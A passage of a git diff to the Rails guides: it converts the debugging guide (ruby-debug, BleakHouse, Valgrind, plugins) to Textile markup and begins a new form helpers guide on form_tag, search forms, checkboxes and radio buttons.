 continue   edit     frame   method  putl  set      tmate   where
-----------------------------------------------------------------------------
+
 
-[TIP]
-To view the help menu for any command use `help ` in active debug mode. For example: _+help var+_
+TIP: To view the help menu for any command use +help + in active debug mode. For example: _+help var+_
 
-The next command to learn is one of the most useful: `list`. You can also abbreviate ruby-debug commands by supplying just enough letters to distinguish them from other commands, so you can also use +l+ for the +list+ command.
+The next command to learn is one of the most useful: +list+. You can also abbreviate ruby-debug commands by supplying just enough letters to distinguish them from other commands, so you can also use +l+ for the +list+ command.
 
 This command shows you where you are in the code by printing 10 lines centered around the current line; the current line in this particular case is line 6 and is marked by +=>+.
 
-----------------------------------------------------------------------------
+
 (rdb:7) list
 [1, 10] in /PathToProject/posts_controller.rb
    1  class PostsController < ApplicationController
@@ -322,11 +305,11 @@ This command shows you where you are in the code by printing 10 lines centered a
    8      respond_to do |format|
    9        format.html # index.html.erb
    10        format.xml  { render :xml => @posts }
-----------------------------------------------------------------------------
+
 
-If you repeat the +list+ command, this time using just `l`, the next ten lines of the file will be printed out.
+If you repeat the +list+ command, this time using just +l+, the next ten lines of the file will be printed out.
 
-----------------------------------------------------------------------------
+
 (rdb:7) l
 [11, 20] in /PathTo/project/app/controllers/posts_controller.rb
    11      end
@@ -339,19 +322,19 @@ If you repeat the +list+ command, this time using just `l`, the next ten lines o
    18
    19      respond_to do |format|
    20        format.html # show.html.erb
-----------------------------------------------------------------------------
+
 
 And so on until the end of the current file. When the end of file is reached, the +list+ command will start again from the beginning of the file and continue again up to the end, treating the file as a circular buffer.
 
-=== The Context
+h4. The Context
 
 When you start debugging your application, you will be placed in different contexts as you go through the different parts of the stack.
 
 ruby-debug creates a content when a stopping point or an event is reached. The context has information about the suspended program which enables a debugger to inspect the frame stack, evaluate variables from the perspective of the debugged program, and contains information about the place where the debugged program is stopped.
 
-At any time you can call the `backtrace` command (or its alias `where`) to print the backtrace of the application. This can be very helpful to know how you got where you are. If you ever wondered about how you got somewhere in your code, then `backtrace` will supply the answer.
+At any time you can call the +backtrace+ command (or its alias +where+) to print the backtrace of the application. This can be very helpful to know how you got where you are. If you ever wondered about how you got somewhere in your code, then +backtrace+ will supply the answer.
 
-----------------------------------------------------------------------------
+
 (rdb:5) where
     #0 PostsController.index
        at line /PathTo/project/app/controllers/posts_controller.rb:6
@@ -362,122 +345,118 @@ At any time you can call the `backtrace` command (or its alias `where`) to print
     #3 ActionController::Filters::InstanceMethods.call_filters(chain#ActionController::Fil...,...)
        at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/filters.rb:617
 ...
-----------------------------------------------------------------------------
+
 
-You move anywhere you want in this trace (thus changing the context) by using the `frame _n_` command, where _n_ is the specified frame number.
+You move anywhere you want in this trace (thus changing the context) by using the +frame _n_+ command, where _n_ is the specified frame number.
 
-----------------------------------------------------------------------------
+
 (rdb:5) frame 2
 #2 ActionController::Base.perform_action_without_filters
        at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/base.rb:1175
-----------------------------------------------------------------------------
+
 
 The available variables are the same as if you were running the code line by line. After all, that's what debugging is.
 
-Moving up and down the stack frame: You can use `up [n]` (`u` for abbreviated) and `down [n]` commands in order to change the context _n_ frames up or down the stack respectively. _n_ defaults to one. Up in this case is towards higher-numbered stack frames, and down is towards lower-numbered stack frames.
+Moving up and down the stack frame: You can use +up [n]+ (+u+ for abbreviated) and +down [n]+ commands in order to change the context _n_ frames up or down the stack respectively. _n_ defaults to one. Up in this case is towards higher-numbered stack frames, and down is towards lower-numbered stack frames.
 
-=== Threads
+h4. Threads
 
-The debugger can list, stop, resume and switch between running threads by using the command `thread` (or the abbreviated `th`). This command has a handful of options:
+The debugger can list, stop, resume and switch between running threads by using the command +thread+ (or the abbreviated +th+). This command has a handful of options:
 
-* `thread` shows the current thread.
-* `thread list` is used to list all threads and their statuses. The plus + character and the number indicates the current thread of execution.
-* `thread stop _n_` stop thread _n_.
-* `thread resume _n_` resumes thread _n_.
-* `thread switch _n_` switches the current thread context to _n_.
+* +thread+ shows the current thread.
+* +thread list+ is used to list all threads and their statuses. The plus + character and the number indicates the current thread of execution.
+* +thread stop _n_+ stop thread _n_.
+* +thread resume _n_+ resumes thread _n_.
+* +thread switch _n_+ switches the current thread context to _n_.
 
 This command is very helpful, among other occasions, when you are debugging concurrent threads and need to verify that there are no race conditions in your code.
 
-=== Inspecting Variables
+h4. Inspecting Variables
 
 Any expression can be evaluated in the current context. To evaluate an expression, just type it!
 
 This example shows how you can print the instance_variables defined within the current context:
 
-----------------------------------------------------------------------------
+
 @posts = Post.find(:all)
 (rdb:11) instance_variables
 ["@_response", "@action_name", "@url", "@_session", "@_cookies", "@performed_render", "@_flash", "@template", "@_params", "@before_filter_chain_aborted", "@request_origin", "@_headers", "@performed_redirect", "@_request"]
-----------------------------------------------------------------------------
+
 
-As you may have figured out, all of the variables that you can access from a controller are displayed. This list is dynamically updated as you execute code. For example, run the next line using `next` (you'll learn more about this command later in this guide).
+As you may have figured out, all of the variables that you can access from a controller are displayed. This list is dynamically updated as you execute code. For example, run the next line using +next+ (you'll learn more about this command later in this guide).
 
-----------------------------------------------------------------------------
+
 (rdb:11) next
 Processing PostsController#index (for 127.0.0.1 at 2008-09-04 19:51:34) [GET]
   Session ID: BAh7BiIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNoSGFzaHsABjoKQHVzZWR7AA==--b16e91b992453a8cc201694d660147bba8b0fd0e
   Parameters: {"action"=>"index", "controller"=>"posts"}
 /PathToProject/posts_controller.rb:8
 respond_to do |format|
--------------------------------------------------------------------------------
+
 
 And then ask again for the instance_variables:
 
-----------------------------------------------------------------------------
+
 (rdb:11) instance_variables.include? "@posts"
 true
-----------------------------------------------------------------------------
+
 
 Now +@posts+ is a included in the instance variables, because the line defining it was executed.
 
-[TIP]
-You can also step into *irb* mode with the command `irb` (of course!). This way an irb session will be started within the context you invoked it. But be warned: this is an experimental feature.
+TIP: You can also step into *irb* mode with the command +irb+ (of course!). This way an irb session will be started within the context you invoked it. But be warned: this is an experimental feature.
 
-The `var` method is the most convenient way to show variables and their values:
+The +var+ method is the most convenient way to show variables and their values:
 
-----------------------------------------------------------------------------
+
 var
 (rdb:1) v[ar] const             show constants of object
 (rdb:1) v[ar] g[lobal]                  show global variables
 (rdb:1) v[ar] i[nstance]        show instance variables of object
 (rdb:1) v[ar] l[ocal]                   show local variables
-----------------------------------------------------------------------------
+
 
 This is a great way to inspect the values of the current context variables. For example:
 
-----------------------------------------------------------------------------
+
 (rdb:9) var local
   __dbg_verbose_save => false
-----------------------------------------------------------------------------
+
 
 You can also inspect for an object method this way:
 
-----------------------------------------------------------------------------
+
 (rdb:9) var instance Post.new
 @attributes = {"updated_at"=>nil, "body"=>nil, "title"=>nil, "published"=>nil, "created_at"...
 @attributes_cache = {}
 @new_record = true
-----------------------------------------------------------------------------
+
 
-[TIP]
-The commands `p` (print) and `pp` (pretty print) can be used to evaluate Ruby expressions and display the value of variables to the console.
+TIP: The commands +p+ (print) and +pp+ (pretty print) can be used to evaluate Ruby expressions and display the value of variables to the console.
 
-You can use also `display` to start watching variables. This is a good way of tracking the values of a variable while the execution goes on.
+You can use also +display+ to start watching variables. This is a good way of tracking the values of a variable while the execution goes on.
 
-----------------------------------------------------------------------------
+
 (rdb:1) display @recent_comments
 1: @recent_comments =
-----------------------------------------------------------------------------
+
 
-The variables inside the displaying list will be printed with their values after you move in the stack. To stop displaying a variable use `undisplay _n_` where _n_ is the variable number (1 in the last example).
+The variables inside the displaying list will be printed with their values after you move in the stack. To stop displaying a variable use +undisplay _n_+ where _n_ is the variable number (1 in the last example).
 
-=== Step by Step
+h4. Step by Step
 
 Now you should know where you are in the running trace and be able to print the available variables. But lets continue and move on with the application execution.
 
-Use `step` (abbreviated `s`) to continue running your program until the next logical stopping point and return control to ruby-debug.
+Use +step+ (abbreviated +s+) to continue running your program until the next logical stopping point and return control to ruby-debug.
 
-[TIP]
-You can also use `step+ _n_` and `step- _n_` to move forward or backward _n_ steps respectively.
+TIP: You can also use +step+ _n_+ and +step- _n_+ to move forward or backward _n_ steps respectively.
 
-You may also use `next` which is similar to step, but function or method calls that appear within the line of code are executed without stopping. As with step, you may use plus sign to move _n_ steps.
+You may also use +next+ which is similar to step, but function or method calls that appear within the line of code are executed without stopping. As with step, you may use plus sign to move _n_ steps.
 
-The difference between `next` and `step` is that `step` stops at the next line of code executed, doing just a single step, while `next` moves to the next line without descending inside methods.
+The difference between +next+ and +step+ is that +step+ stops at the next line of code executed, doing just a single step, while +next+ moves to the next line without descending inside methods.
 
 For example, consider this block of code with an included +debugger+ statement:
 
-[source, ruby]
-----------------------------------------------------------------------------
+
 class Author < ActiveRecord::Base
   has_one :editorial
   has_many :comments
@@ -491,12 +470,11 @@ class Author < ActiveRecord::Base
     )
   end
 end
-----------------------------------------------------------------------------
+
 
-[TIP]
-You can use ruby-debug while using script/console. Just remember to `require "ruby-debug"` before calling the `debugger` method.
+TIP: You can use ruby-debug while using script/console. Just remember to +require "ruby-debug"+ before calling the +debugger+ method.
 
-----------------------------------------------------------------------------
+
 /PathTo/project $ script/console
 Loading development environment (Rails 2.1.0)
 >> require "ruby-debug"
@@ -506,11 +484,11 @@ Loading development environment (Rails 2.1.0)
 >> author.find_recent_comments
 /PathTo/project/app/models/author.rb:11
 )
-----------------------------------------------------------------------------
+
 
 With the code stopped, take a look around:
 
-----------------------------------------------------------------------------
+
 (rdb:1) list
 [6, 15] in /PathTo/project/app/models/author.rb
    6      debugger
@@ -521,19 +499,19 @@ With the code stopped, take a look around:
 => 11      )
    12    end
    13  end
-----------------------------------------------------------------------------
+
 
 You are at the end of the line, but... was this line executed? You can inspect the instance variables.
 
-----------------------------------------------------------------------------
+
 (rdb:1) var instance
 @attributes = {"updated_at"=>"2008-07-31 12:46:10", "id"=>"1", "first_name"=>"Bob", "las...
 @attributes_cache = {}
-----------------------------------------------------------------------------
+
 
 +@recent_comments+ hasn't been defined yet, so it's clear that this line hasn't been executed yet. Use the +next+ command to move on in the code:
 
-----------------------------------------------------------------------------
+
 (rdb:1) next
 /PathTo/project/app/models/author.rb:12
 @recent_comments
@@ -542,138 +520,136 @@ You are at the end of the line, but... was this line executed? You can inspect t
 @attributes_cache = {}
 @comments = []
 @recent_comments = []
-----------------------------------------------------------------------------
+
 
 Now you can see that the +@comments+ relationship was loaded and @recent_comments defined because the line was executed.
 
-If you want to go deeper into the stack trace you can move single `steps`, through your calling methods and into Rails code. This is one of the best ways to find bugs in your code, or perhaps in Ruby or Rails.
+If you want to go deeper into the stack trace you can move single +steps+, through your calling methods and into Rails code. This is one of the best ways to find bugs in your code, or perhaps in Ruby or Rails.
 
-=== Breakpoints
+h4. Breakpoints
 
 A breakpoint makes your application stop whenever a certain point in the program is reached. The debugger shell is invoked in that line.
 
-You can add breakpoints dynamically with the command `break` (or just `b`). There are 3 possible ways of adding breakpoints manually:
+You can add breakpoints dynamically with the command +break+ (or just +b+). There are 3 possible ways of adding breakpoints manually:
 
-* `break line`: set breakpoint in the _line_ in the current source file.
-* `break file:line [if expression]`: set breakpoint in the _line_ number inside the _file_. If an _expression_ is given it must evaluated to _true_ to fire up the debugger.
-* `break class(.|\#)method [if expression]`: set breakpoint in _method_ (. and \# for class and instance method respectively) defined in _class_. The _expression_ works the same way as with file:line.
+* +break line+: set breakpoint in the _line_ in the current source file.
+* +break file:line [if expression]+: set breakpoint in the _line_ number inside the _file_. If an _expression_ is given it must evaluated to _true_ to fire up the debugger.
+* +break class(.|\#)method [if expression]+: set breakpoint in _method_ (. and \# for class and instance method respectively) defined in _class_. The _expression_ works the same way as with file:line.
 
-----------------------------------------------------------------------------
+
 (rdb:5) break 10
 Breakpoint 1 file /PathTo/project/vendor/rails/actionpack/lib/action_controller/filters.rb, line 10
-----------------------------------------------------------------------------
+
 
-Use `info breakpoints _n_` or `info break _n_` to list breakpoints. If you supply a number, it lists that breakpoint. Otherwise it lists all breakpoints.
+Use +info breakpoints _n_+ or +info break _n_+ to list breakpoints. If you supply a number, it lists that breakpoint. Otherwise it lists all breakpoints.
 
-----------------------------------------------------------------------------
+
 (rdb:5) info breakpoints
 Num Enb What
   1 y   at filters.rb:10
-----------------------------------------------------------------------------
+
 
-To delete breakpoints: use the command `delete _n_` to remove the breakpoint number _n_. If no number is specified, it deletes all breakpoints that are currently active..
+To delete breakpoints: use the command +delete _n_+ to remove the breakpoint number _n_. If no number is specified, it deletes all breakpoints that are currently active..
 
-----------------------------------------------------------------------------
+
 (rdb:5) delete 1
 (rdb:5) info breakpoints
 No breakpoints.
-----------------------------------------------------------------------------
+
 
 You can also enable or disable breakpoints:
 
-* `enable breakpoints`: allow a list _breakpoints_ or all of them if no list is specified, to stop your program. This is the default state when you create a breakpoint.
-* `disable breakpoints`: the _breakpoints_ will have no effect on your program.
+* +enable breakpoints+: allow a list _breakpoints_ or all of them if no list is specified, to stop your program. This is the default state when you create a breakpoint.
+* +disable breakpoints+: the _breakpoints_ will have no effect on your program.
 
-=== Catching Exceptions
+h4. Catching Exceptions
 
-The command `catch exception-name` (or just `cat exception-name`) can be used to intercept an exception of type _exception-name_ when there would otherwise be is no handler for it.
+The command +catch exception-name+ (or just +cat exception-name+) can be used to intercept an exception of type _exception-name_ when there would otherwise be is no handler for it.
 
-To list all active catchpoints use `catch`.
+To list all active catchpoints use +catch+.
 
-=== Resuming Execution
+h4. Resuming Execution
 
 There are two ways to resume execution of an application that is stopped in the debugger:
 
-* `continue` [line-specification] (or `c`): resume program execution, at the address where your script last stopped; any breakpoints set at that address are bypassed. The optional argument line-specification allows you to specify a line number to set a one-time breakpoint which is deleted when that breakpoint is reached.
-* `finish` [frame-number] (or `fin`): execute until the selected stack frame returns. If no frame number is given, the application will run until the currently selected frame returns. The currently selected frame starts out the most-recent frame or 0 if no frame positioning (e.g up, down or frame) has been performed. If a frame number is given it will run until the specified frame returns.
+* +continue+ [line-specification] (or +c+): resume program execution, at the address where your script last stopped; any breakpoints set at that address are bypassed. The optional argument line-specification allows you to specify a line number to set a one-time breakpoint which is deleted when that breakpoint is reached.
+* +finish+ [frame-number] (or +fin+): execute until the selected stack frame returns. If no frame number is given, the application will run until the currently selected frame returns. The currently selected frame starts out the most-recent frame or 0 if no frame positioning (e.g up, down or frame) has been performed. If a frame number is given it will run until the specified frame returns.
 
-=== Editing
+h4. Editing
 
 Two commands allow you to open code from the debugger into an editor:
 
-* `edit [file:line]`: edit _file_ using the editor specified by the EDITOR environment variable. A specific _line_ can also be given.
-* `tmate _n_` (abbreviated `tm`): open the current file in TextMate. It uses n-th frame if _n_ is specified.
+* +edit [file:line]+: edit _file_ using the editor specified by the EDITOR environment variable. A specific _line_ can also be given.
+* +tmate _n_+ (abbreviated +tm+): open the current file in TextMate. It uses n-th frame if _n_ is specified.
 
-=== Quitting
+h4. Quitting
 
-To exit the debugger, use the `quit` command (abbreviated `q`), or its alias `exit`.
+To exit the debugger, use the +quit+ command (abbreviated +q+), or its alias +exit+.
 
 A simple quit tries to terminate all threads in effect. Therefore your server will be stopped and you will have to start it again.
 
-=== Settings
+h4. Settings
 
 There are some settings that can be configured in ruby-debug to make it easier to debug your code. Here are a few of the available options:
 
-* `set reload`: Reload source code when changed.
-* `set autolist`: Execute `list` command on every breakpoint.
-* `set listsize _n_`: Set number of source lines to list by default to _n_.
-* `set forcestep`: Make sure the `next` and `step` commands always move to a new line
+* +set reload+: Reload source code when changed.
+* +set autolist+: Execute +list+ command on every breakpoint.
+* +set listsize _n_+: Set number of source lines to list by default to _n_.
+* +set forcestep+: Make sure the +next+ and +step+ commands always move to a new line
 
-You can see the full list by using `help set`. Use `help set _subcommand_` to learn about a particular +set+ command.
+You can see the full list by using +help set+. Use +help set _subcommand_+ to learn about a particular +set+ command.
 
-[TIP]
-You can include any number of these configuration lines inside a `.rdebugrc` file in your HOME directory. ruby-debug will read this file every time it is loaded. and configure itself accordingly.
+TIP: You can include any number of these configuration lines inside a +.rdebugrc+ file in your HOME directory. ruby-debug will read this file every time it is loaded. and configure itself accordingly.
 
-Here's a good start for an `.rdebugrc`:
+Here's a good start for an +.rdebugrc+:
 
-----------------------------------------------------------------------------
+
 set autolist
 set forcestep
 set listsize 25
-----------------------------------------------------------------------------
+
 
-== Debugging Memory Leaks
+h3. Debugging Memory Leaks
 
 A Ruby application (on Rails or not), can leak memory - either in the Ruby code or at the C code level.
 
 In this section, you will learn how to find and fix such leaks by using Bleak House and Valgrind debugging tools.
 
-=== BleakHouse
+h4. BleakHouse
 
-link:http://github.com/fauna/bleak_house/tree/master[BleakHouse] is a library for finding memory leaks.
+"BleakHouse":http://github.com/fauna/bleak_house/tree/master is a library for finding memory leaks.
 
 If a Ruby object does not go out of scope, the Ruby Garbage Collector won't sweep it since it is referenced somewhere. Leaks like this can grow slowly and your application will consume more and more memory, gradually affecting the overall system performance. This tool will help you find leaks on the Ruby heap.
 
 To install it run:
 
-----------------------------------------------------------------------------
+
 sudo gem install bleak_house
-----------------------------------------------------------------------------
+
 
-Then setup you application for profiling. Then add the following at the bottom of config/environment.rb:
+Then setup your application for profiling. Then add the following at the bottom of config/environment.rb:
 
-[source, ruby]
-----------------------------------------------------------------------------
+
 require 'bleak_house' if ENV['BLEAK_HOUSE']
-----------------------------------------------------------------------------
+
 
 Start a server instance with BleakHouse integration:
 
-----------------------------------------------------------------------------
+
 RAILS_ENV=production BLEAK_HOUSE=1 ruby-bleak-house ./script/server
-----------------------------------------------------------------------------
+
 
-Make sure to run a couple hundred requests to get better data samples, then press `CTRL-C`. The server will stop and Bleak House will produce a dumpfile in `/tmp`:
+Make sure to run a couple hundred requests to get better data samples, then press +CTRL-C+. The server will stop and Bleak House will produce a dumpfile in +/tmp+:
 
-----------------------------------------------------------------------------
+
 ** BleakHouse: working...
 ** BleakHouse: complete
 ** Bleakhouse: run 'bleak /tmp/bleak.5979.0.dump' to analyze.
-----------------------------------------------------------------------------
- 
-To analyze it, just run the listed command. The top 20 leakiest lines will be listed: 
+
 
-----------------------------------------------------------------------------
+To analyze it, just run the listed command. The top 20 leakiest lines will be listed:
+
+
   191691 total objects
   Final heap size 191691 filled, 220961 free
   Displaying top 20 most common line/class pairs
@@ -686,48 +662,48 @@ To analyze it, just run the listed command. The top 20 leakiest lines will be li
    935 /opt/local//lib/ruby/site_ruby/1.8/rubygems/specification.rb:557:String
    834 /opt/local//lib/ruby/site_ruby/1.8/rubygems/version.rb:146:Array
   ...
-----------------------------------------------------------------------------
+
 
 This way you can find where your application is leaking memory and fix it.
 
-If link:http://github.com/fauna/bleak_house/tree/master[BleakHouse] doesn't report any heap growth but you still have memory growth, you might have a broken C extension, or real leak in the interpreter. In that case, try using Valgrind to investigate further.
+If "BleakHouse":http://github.com/fauna/bleak_house/tree/master doesn't report any heap growth but you still have memory growth, you might have a broken C extension, or real leak in the interpreter. In that case, try using Valgrind to investigate further.
 
-=== Valgrind
+h4. Valgrind
 
-link:http://valgrind.org/[Valgrind] is a Linux-only application for detecting C-based memory leaks and race conditions.
+"Valgrind":http://valgrind.org/ is a Linux-only application for detecting C-based memory leaks and race conditions.
 
-There are Valgrind tools that can automatically detect many memory management and threading bugs, and profile your programs in detail. For example, a C extension in the interpreter calls `malloc()` but is doesn't properly call `free()`, this memory won't be available until the app terminates.
+There are Valgrind tools that can automatically detect many memory management and threading bugs, and profile your programs in detail. For example, a C extension in the interpreter calls +malloc()+ but is doesn't properly call +free()+, this memory won't be available until the app terminates.
 
-For further information on how to install Valgrind and use with Ruby, refer to link:http://blog.evanweaver.com/articles/2008/02/05/valgrind-and-ruby/[Valgrind and Ruby] by Evan Weaver.
+For further information on how to install Valgrind and use with Ruby, refer to "Valgrind and Ruby":http://blog.evanweaver.com/articles/2008/02/05/valgrind-and-ruby/ by Evan Weaver.
 
-== Plugins for Debugging
+h3. Plugins for Debugging
 
 There are some Rails plugins to help you to find errors and debug your application. Here is a list of useful plugins for debugging:
 
-* link:http://github.com/drnic/rails-footnotes/tree/master[Footnotes]: Every Rails page has footnotes that give request information and link back to your source via TextMate.
-* link:http://github.com/ntalbott/query_trace/tree/master[Query Trace]: Adds query origin tracing to your logs.
-* link:http://github.com/dan-manges/query_stats/tree/master[Query Stats]: A Rails plugin to track database queries. 
-* link:http://code.google.com/p/query-reviewer/[Query Reviewer]: This rails plugin not only runs "EXPLAIN" before each of your select queries in development, but provides a small DIV in the rendered output of each page with the summary of warnings for each query that it analyzed.
-* link:http://github.com/rails/exception_notification/tree/master[Exception Notifier]: Provides a mailer object and a default set of templates for sending email notifications when errors occur in a Rails application.
-* link:http://github.com/defunkt/exception_logger/tree/master[Exception Logger]: Logs your Rails exceptions in the database and provides a funky web interface to manage them.
+* "Footnotes":http://github.com/drnic/rails-footnotes/tree/master: Every Rails page has footnotes that give request information and link back to your source via TextMate.
+* "Query Trace":http://github.com/ntalbott/query_trace/tree/master: Adds query origin tracing to your logs.
+* "Query Stats":http://github.com/dan-manges/query_stats/tree/master: A Rails plugin to track database queries.
+* "Query Reviewer":http://code.google.com/p/query-reviewer/: This rails plugin not only runs "EXPLAIN" before each of your select queries in development, but provides a small DIV in the rendered output of each page with the summary of warnings for each query that it analyzed.
+* "Exception Notifier":http://github.com/rails/exception_notification/tree/master: Provides a mailer object and a default set of templates for sending email notifications when errors occur in a Rails application.
+* "Exception Logger":http://github.com/defunkt/exception_logger/tree/master: Logs your Rails exceptions in the database and provides a funky web interface to manage them.
 
-== References
+h3. References
 
-* link:http://www.datanoise.com/ruby-debug[ruby-debug Homepage]
-* link:http://www.sitepoint.com/article/debug-rails-app-ruby-debug/[Article: Debugging a Rails application with ruby-debug]
-* link:http://brian.maybeyoureinsane.net/blog/2007/05/07/ruby-debug-basics-screencast/[ruby-debug Basics screencast]
-* link:http://railscasts.com/episodes/54-debugging-with-ruby-debug[Ryan Bate's ruby-debug screencast]
-* link:http://railscasts.com/episodes/24-the-stack-trace[Ryan Bate's stack trace screencast]
-* link:http://railscasts.com/episodes/56-the-logger[Ryan Bate's logger screencast]
-* link:http://bashdb.sourceforge.net/ruby-debug.html[Debugging with ruby-debug]
-* link:http://cheat.errtheblog.com/s/rdebug/[ruby-debug cheat sheet]
-* link:http://wiki.rubyonrails.org/rails/pages/HowtoConfigureLogging[Ruby on Rails Wiki: How to Configure Logging]
-* link:http://blog.evanweaver.com/files/doc/fauna/bleak_house/files/README.html[Bleak House Documentation]
+* "ruby-debug Homepage":http://www.datanoise.com/ruby-debug
+* "Article: Debugging a Rails application with ruby-debug":http://www.sitepoint.com/article/debug-rails-app-ruby-debug/
+* "ruby-debug Basics screencast":http://brian.maybeyoureinsane.net/blog/2007/05/07/ruby-debug-basics-screencast/
+* "Ryan Bate's ruby-debug screencast":http://railscasts.com/episodes/54-debugging-with-ruby-debug
+* "Ryan Bate's stack trace screencast":http://railscasts.com/episodes/24-the-stack-trace
+* "Ryan Bate's logger screencast":http://railscasts.com/episodes/56-the-logger
+* "Debugging with ruby-debug":http://bashdb.sourceforge.net/ruby-debug.html
+* "ruby-debug cheat sheet":http://cheat.errtheblog.com/s/rdebug/
+* "Ruby on Rails Wiki: How to Configure Logging":http://wiki.rubyonrails.org/rails/pages/HowtoConfigureLogging
+* "Bleak House Documentation":http://blog.evanweaver.com/files/doc/fauna/bleak_house/files/README.html
 
-== Changelog ==
+h3. Changelog
 
-http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/5[Lighthouse ticket]
+"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/5
 
-* November 3, 2008: Accepted for publication. Added RJS, memory leaks and plugins chapters by link:../authors.html#miloops[Emilio Tagua]
-* October 19, 2008: Copy editing pass by link:../authors.html#mgunderloy[Mike Gunderloy]
-* September 16, 2008: initial version by link:../authors.html#miloops[Emilio Tagua]
+* November 3, 2008: Accepted for publication. Added RJS, memory leaks and plugins chapters by "Emilio Tagua":credits.html#miloops
+* October 19, 2008: Copy editing pass by "Mike Gunderloy":credits.html#mgunderloy
+* September 16, 2008: initial version by "Emilio Tagua":credits.html#miloops
diff --git a/vendor/rails/railties/guides/source/form_helpers.textile b/vendor/rails/railties/guides/source/form_helpers.textile
new file mode 100644
index 00000000..41d8fba3
--- /dev/null
+++ b/vendor/rails/railties/guides/source/form_helpers.textile
@@ -0,0 +1,766 @@
+h2. Rails form helpers
+
+Forms in web applications are an essential interface for user input. However, form markup can quickly become tedious to write and maintain because of form control naming and their numerous attributes. Rails deals away with these complexities by providing view helpers for generating form markup. However, since they have different use-cases, developers are required to know all the differences between similar helper methods before putting them to use.
+
+In this guide you will:
+
+* Create search forms and similar kind of generic forms not representing any specific model in your application
+* Make model-centric forms for creation and editing of specific database records
+* Generate select boxes from multiple types of data
+* Understand the date and time helpers Rails provides
+* Learn what makes a file upload form different
+* Find out where to look for complex forms
+
+endprologue.
+
+NOTE: This guide is not intended to be a complete documentation of available form helpers and their arguments. Please visit "the Rails API documentation":http://api.rubyonrails.org/ for a complete reference.
+
+
+h3. Dealing With Basic Forms
+
+The most basic form helper is +form_tag+.
+
+
+<% form_tag do %>
+  Form contents
+<% end %>
+
+
+When called without arguments like this, it creates a form element that has the current page as its action and "post" as its method (some line breaks added for readability):
+
+Sample output from +form_tag+:
+
+
+

+  

+    
+  

+  Form contents
+

+
+
+If you carefully observe this output, you can see that the helper generated something you didn't specify: a +div+ element with a hidden input inside. This is a security feature of Rails called *cross-site request forgery protection* and form helpers generate it for every form whose action is not "get" (provided that this security feature is enabled). You can read more about this in the "Ruby On Rails Security Guide":./security.html#_cross_site_reference_forgery_csrf.
+
+NOTE: Throughout this guide, this +div+ with the hidden input will be stripped away to have clearer code samples.
+
+h4. A Generic search form
+
+Probably the most minimal form often seen on the web is a search form with a single text input for search terms. This form consists of:
+
+# a form element with "GET" method,
+# a label for the input,
+# a text input element, and
+# a submit element.
+
+IMPORTANT: Always use "GET" as the method for search forms. This allows users to bookmark a specific search and get back to it. More generally Rails encourages you to use the right HTTP verb for an action.
+
+To create this form you will use +form_tag+, +label_tag+, +text_field_tag+, and +submit_tag+, respectively.
+
+A basic search form
+
+
+<% form_tag(search_path, :method => "get") do %>
+  <%= label_tag(:q, "Search for:") %>
+  <%= text_field_tag(:q) %>
+  <%= submit_tag("Search") %>
+<% end %>
+
+
+TIP: +search_path+ can be a named route specified in "routes.rb": 
map.search "search", :controller => "search"

+
+The above view code will result in the following markup:
+
+
+

+  
+  
+  
+

+
+
+Besides +text_field_tag+ and +submit_tag+, there is a similar helper for _every_ form control in HTML.
+
+TIP: For every form input, an ID attribute is generated from its name ("q" in the example). These IDs can be very useful for CSS styling or manipulation of form controls with JavaScript.
+
+h4. Multiple hashes in form helper calls
+
+By now you've seen that the +form_tag+ helper accepts 2 arguments: the path for the action and an options hash. This hash specifies the method of form submission and HTML options such as the form element's class.
+
+As with the +link_to+ helper, the path argument doesn't have to be given a string. It can be a hash of URL parameters that Rails' routing mechanism will turn into a valid URL. However, this is a bad way to pass multiple hashes as method arguments:
+
+
+form_tag(:controller => "people", :action => "search", :method => "get", :class => "nifty_form")
+# => 

+
+
+Here you wanted to pass two hashes, but the Ruby interpreter sees only one hash, so Rails will construct a URL with extraneous parameters. The correct way of passing multiple hashes as arguments is to delimit the first hash (or both hashes) with curly brackets:
+
+
+form_tag({:controller => "people", :action => "search"}, :method => "get", :class => "nifty_form")
+# => 
+
+
+This is a common pitfall when using form helpers, since many of them accept multiple hashes. So in future, if a helper produces unexpected output, make sure that you have delimited the hash parameters properly.
+
+WARNING: Do not delimit the second hash without doing so with the first hash, otherwise your method invocation will result in an +expecting tASSOC+ syntax error.
+
+h4. Helpers for generating form elements
+
+Rails provides a series of helpers for generating form elements such as checkboxes, text fields, radio buttons, and so on. These basic helpers, with names ending in _tag such as +text_field_tag+, +check_box_tag+, etc., generate just a single +<input>+ element. The first parameter to these is always the name of the input. In the controller this name will be the key in the +params+ hash used to get the value entered by the user. For example, if the form contains
+
+
+<%= text_field_tag(:query) %>
+
+
+then the controller code should use
+
+
+params[:query]
+
+
+to retrieve the value entered by the user. When naming inputs, be aware that Rails uses certain conventions that control whether values are at the top level of the +params+ hash, inside an array or a nested hash and so on. You can read more about them in the parameter_names section. For details on the precise usage of these helpers, please refer to the "API documentation":http://api.rubyonrails.org/classes/ActionView/Helpers/FormTagHelper.html.
+
+h5. Checkboxes
+
+Checkboxes are form controls that give the user a set of options they can enable or disable:
+
+
+<%= check_box_tag(:pet_dog) %>
+  <%= label_tag(:pet_dog, "I own a dog") %>
+<%= check_box_tag(:pet_cat) %>
+  <%= label_tag(:pet_cat, "I own a cat") %>
+
+output:
+
+
+  
+
+  
+
+
+The second parameter to +check_box_tag+ is the value of the input. This is the value that will be submitted by the browser if the checkbox is ticked (i.e. the value that will be present in the +params+ hash). With the above form you would check the value of +params[:pet_dog]+ and +params[:pet_cat]+ to see which pets the user owns.
+
+h5. Radio buttons
+
+Radio buttons, while similar to checkboxes, are controls that specify a set of options in which they are mutually exclusive (i.e. the user can only pick one):
+
+
+<%= radio_button_tag(:age, "child") %>
+  <%= label_tag(:age_child, "I am younger than 21") %>
+<%= radio_button_tag(:age, "adult") %>
+  <%= label_tag(:age_adult, "I'm over 21") %>
+
+output:
+
+
+  
+
+  
+
+
+As with +check_box_tag+ the second parameter to +radio_button_tag+ is the value of the input. Because these two radio buttons share the same name (age) the user will only be able to select one and +params[:age]+ will contain either "child" or "adult".
+
+IMPORTANT: Always use labels for each checkbox and radio button. They associate text with a specific option and provide a larger clickable region.
+
+h4. Other helpers of interest
+
+Other form controls worth mentioning are the text area, password input and hidden input:
+
+
+<%= text_area_tag(:message, "Hi, nice site", :size => "24x6") %>
